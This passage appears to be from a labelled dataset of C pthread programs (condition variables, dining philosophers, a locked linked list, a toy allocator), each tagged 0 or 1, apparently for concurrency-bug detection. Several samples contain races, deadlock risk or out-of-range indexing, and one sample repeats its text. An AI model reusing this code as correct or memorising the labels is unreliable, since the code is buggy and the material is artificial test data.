pthread_cond_wait(&x_cond, &x_mutex); printf("4: sinal recebido e mutex realocado, controladora = %d\\n", controladora); } pthread_mutex_unlock(&x_mutex); printf("Tchau\\n"); pthread_exit(0); } int main(int argc, char *argv[]) { int i; pthread_t threads[4]; pthread_mutex_init(&x_mutex, 0); pthread_cond_init (&x_cond, 0); pthread_create(&threads[0], 0, A, 0); pthread_create(&threads[1], 0, B, 0); pthread_create(&threads[2], 0, C, 0); pthread_create(&threads[3], 0, D, 0); for (i = 0; i < 4; i++) { pthread_join(threads[i], 0); } printf ("*\\nFIM\\n"); pthread_mutex_destroy(&x_mutex); pthread_cond_destroy(&x_cond); pthread_exit (0); } int controladora = 0; pthread_mutex_t x_mutex; pthread_cond_t x_cond; void *A (void *t) { printf("1: Comecei\\n"); printf("Tudo bem?\\n"); pthread_mutex_lock(&x_mutex); controladora++; printf("1: controladora = %d, vai sinalizar a condicao \\n", controladora); pthread_cond_broadcast(&x_cond); pthread_mutex_unlock(&x_mutex); pthread_exit(0); } void *B (void *t) { printf("2: Comecei\\n"); printf("Hola!\\n"); pthread_mutex_lock(&x_mutex); controladora++; printf("2: controladora = %d, vai sinalizar a condicao \\n", controladora); pthread_cond_broadcast(&x_cond); pthread_mutex_unlock(&x_mutex); pthread_exit(0); } void *C (void *t) { printf("3: Comecei\\n"); pthread_mutex_lock(&x_mutex); if (controladora < 2) { printf("3: vai se bloquear...\\n"); pthread_cond_wait(&x_cond, &x_mutex); printf("3: sinal recebido e mutex realocado, controladora = %d\\n", controladora); } pthread_mutex_unlock(&x_mutex); printf("Até mais tarde\\n"); pthread_exit(0); } void *D (void *t) { printf("4: Comecei\\n"); pthread_mutex_lock(&x_mutex); if (controladora < 2) { printf("4: vai se bloquear...\\n"); pthread_cond_wait(&x_cond, &x_mutex); printf("4: sinal recebido e mutex realocado, controladora = %d\\n", controladora); } pthread_mutex_unlock(&x_mutex); printf("Tchau\\n"); pthread_exit(0); } int main(int argc, char *argv[]) { int i; pthread_t threads[4]; pthread_mutex_init(&x_mutex, 0); pthread_cond_init (&x_cond, 0); pthread_create(&threads[0], 0, A, 0); pthread_create(&threads[1], 0, B, 0); pthread_create(&threads[2], 0, C, 0); pthread_create(&threads[3], 0, D, 0); for (i = 0; i < 4; i++) { pthread_join(threads[i], 0); } printf ("*\\nFIM\\n"); pthread_mutex_destroy(&x_mutex); pthread_cond_destroy(&x_cond); pthread_exit (0); }
1
#include <pthread.h> pthread_t phil[10]; pthread_mutex_t chopstick[10]; int n; void* func(int i) { printf("Philosopher %d is thinking\\n",i+1); pthread_mutex_lock(&chopstick[i]); pthread_mutex_lock(&chopstick[i+1]); printf("Philosopher %d is eating\\n",i+1); sleep(2); pthread_mutex_unlock(&chopstick[i]); pthread_mutex_unlock(&chopstick[i+1]); printf("Philosopher %d finished eating\\n",i+1); } main() { void * msg; int i,k; printf("Enter no of philosophers:"); scanf("%d",&n); for(i=0;i<n;i++) { k=pthread_mutex_init(&chopstick[i],0); if(k==-1) { printf("Error in initialising mutex\\n"); exit(1); } } for(i=0;i<n;i++) { k=pthread_create(&phil[i],0,(void *)func,(void *)i); if(k==-1) { printf("Error in creating thread\\n"); exit(1); } } for(i=0;i<n;i++) { k=pthread_join(phil[i],&msg); if(k==-1) { printf("Error in waiting for threads\\n"); exit(1); } } for(i=0;i<n;i++) { k=pthread_mutex_destroy(&chopstick[i]); if(k==-1) { printf("Error in destroying mutex\\n"); exit(1); } } }
0
#include <pthread.h> pthread_mutex_t insert_mutex; pthread_mutex_t pause_searches; pthread_mutex_t searches; int MAX_SEARCHES = 10; int MAX_INSERT = 5; int MAX_DELETE = 2; int max_value = 20; struct node{ int value; struct node* next; }; int num_searches = 0; int pause = 0; struct node * head; void * insert(void *arg){ while(1){ struct node * temp; struct node * curNode; pthread_mutex_lock(&insert_mutex); curNode = head; if(curNode == 0){ curNode = (struct node*)malloc( sizeof(struct node) ); curNode->value = rand()%max_value; head = curNode; printf("INSERT: The value %d has been added as the head.\\n",curNode->value); }else{ while(curNode->next != 0){ curNode = curNode->next; } temp = (struct node*)malloc(sizeof(struct node)); temp->value = rand()%max_value; temp->next = 0; curNode->next = temp; printf("INSERT: The value %d has been added.\\n",curNode->next->value); } pthread_mutex_unlock(&insert_mutex); sleep(rand()%MAX_INSERT); } } void * delete(void *arg){ int value; struct node * curNode; int search_count; struct node * temp; while(1){ temp = 0; pthread_mutex_lock(&insert_mutex); pthread_mutex_lock(&pause_searches); pause = 1; pthread_mutex_unlock(&pause_searches); pthread_mutex_lock(&searches); search_count = num_searches; pthread_mutex_unlock(&searches); while(search_count != 0){ pthread_mutex_lock(&searches); search_count = num_searches; pthread_mutex_unlock(&searches); } value = rand()%max_value; if(head != 0){ curNode = head; if(curNode->value == value){ head = curNode->next; printf("DELETE: The value %d has been terminated!\\n",value); free(curNode); } else{ while(curNode != 0 && curNode->next != 0 && curNode->next->value != value){ curNode = curNode->next; } if(curNode != 0 && curNode->next != 0 && curNode->next->value == value){ temp = curNode->next; curNode->next = curNode->next->next; printf("DELETE: The value %d has been terminated!\\n",value); free(temp); } } } pthread_mutex_lock(&pause_searches); pause = 0; pthread_mutex_unlock(&pause_searches); pthread_mutex_unlock(&insert_mutex); sleep(rand()%MAX_DELETE); } } void * search(void *arg){ int value; struct node * curNode; int found = 0; int p; while(1){ pthread_mutex_lock(&pause_searches); p = pause; pthread_mutex_unlock(&pause_searches); found = 0; if(p == 0){ pthread_mutex_lock(&searches); ++num_searches; pthread_mutex_unlock(&searches); value = rand()%max_value; curNode = head; while(found == 0 && curNode != 0){ if(curNode->value == value){ printf("SEARCH: The value %d exists!\\n",value); found = 1; } else{ curNode = curNode->next; } } pthread_mutex_lock(&searches); num_searches--; pthread_mutex_unlock(&searches); } sleep(rand()%MAX_SEARCHES); } } int main(int argc, char **argv) { int t; pthread_t th[MAX_SEARCHES+MAX_INSERT+MAX_DELETE]; for(t = 0; t<MAX_INSERT;++t){ if(pthread_create(&th[t], 0, insert, 0)){ printf("Error creating insert %d.\\n",t); return 1; } } for(t = MAX_INSERT; t<MAX_SEARCHES+MAX_INSERT;++t){ if(pthread_create(&th[t], 0, search, 0)){ printf("Error creating searcher %d.\\n",t); return 1; } } for(t = MAX_SEARCHES+MAX_INSERT; t<MAX_SEARCHES+MAX_INSERT+MAX_DELETE;++t){ if(pthread_create(&th[t], 0, delete, 0)){ printf("Error creating deleter %d.\\n",t); return 1; } } for(t = 0; t < MAX_SEARCHES+MAX_INSERT+MAX_DELETE; t++) { pthread_join(th[t], 0); } return 0; }
1
#include <pthread.h> struct header { int size; int is_free; struct header *next; }; struct header *head = 0, *tail = 0; pthread_mutex_t global_malloc_lock; int countt,bsize,pos; char* line; struct header *get_free_block(int size) { struct header *curr = head; while(curr) { if(curr->is_free && curr->size >=size) { return curr; } curr = curr->next; } return 0; } void ffree(void *block) { struct header *h,*tmp; void*programbreak; if(!block) { return; } else { pthread_mutex_lock(&global_malloc_lock); h = (struct header *)block - 1; programbreak = sbrk(0); if((char*)block + h->size == programbreak) { if(head==tail) { head = tail = 0; } else { tmp = head; while(tmp) { if(tmp->next == tail) { tmp->next = 0; tail = tmp; } tmp = tmp->next; } } sbrk(0- h->size -sizeof(struct header)); pthread_mutex_unlock(&global_malloc_lock); countt--; return; } else { h->is_free = 1; pthread_mutex_unlock(&global_malloc_lock); } } } void *mmalloc(int size) { int total_size; void*block; struct header *h; if(size==0) { return 0; } else { pthread_mutex_lock(&global_malloc_lock); h = get_free_block(size); if(h) { h->is_free = 0; pthread_mutex_unlock(&global_malloc_lock); return (void*)(h+1); } else { total_size = sizeof(struct header) + size; block = sbrk(total_size); if(block==(void*)-1) { pthread_mutex_unlock(&global_malloc_lock); return 0; } else { h = (struct header*)block; h->size = size; h->is_free = 0; h->next = 0; if(!head) { head = h; } if(tail) { tail->next = h; } tail = h; countt++; pthread_mutex_unlock(&global_malloc_lock); return (void*)(h+1); } } } } void allocerror() { fprintf(stderr, "Allocation Error\\n"); exit(1); } int main() { int sizee,place; void*arr[100005]; countt = 1; while(1) { printf("> "); int c; pos = 0; bsize = 1024; line = malloc(sizeof(char)*1024); if(!line) allocerror(); while(1) { c = getchar(); if(c==' ' || c=='\\n') { line[pos] = '\\0'; break; } else { line[pos] = c; } pos++; if(pos>=bsize) { bsize += 1024; line = realloc(line,bsize); if(!line) allocerror(); } } if(strcmp(line,"")!=0) { if(strcmp(line,"malloc")==0) { scanf("%d", &sizee); arr[countt] = mmalloc(sizee); } else if(strcmp(line,"free")==0) { scanf("%d", &place); if(countt>1) { ffree(arr[place]); } } else if(strcmp(line,"print")==0) { int cc = 1; struct header *curr = head; printf("head = %p, tail = %p \\n", (void*)head, (void*)tail); while(curr) { printf(" %d addr = %p, size = %d, is_free=%d, next=%p\\n", cc, (void*)curr, curr->size, curr->is_free, (void*)curr->next); curr = curr->next; cc++; } } else if(strcmp(line,"exit")==0) { break; } } } }
0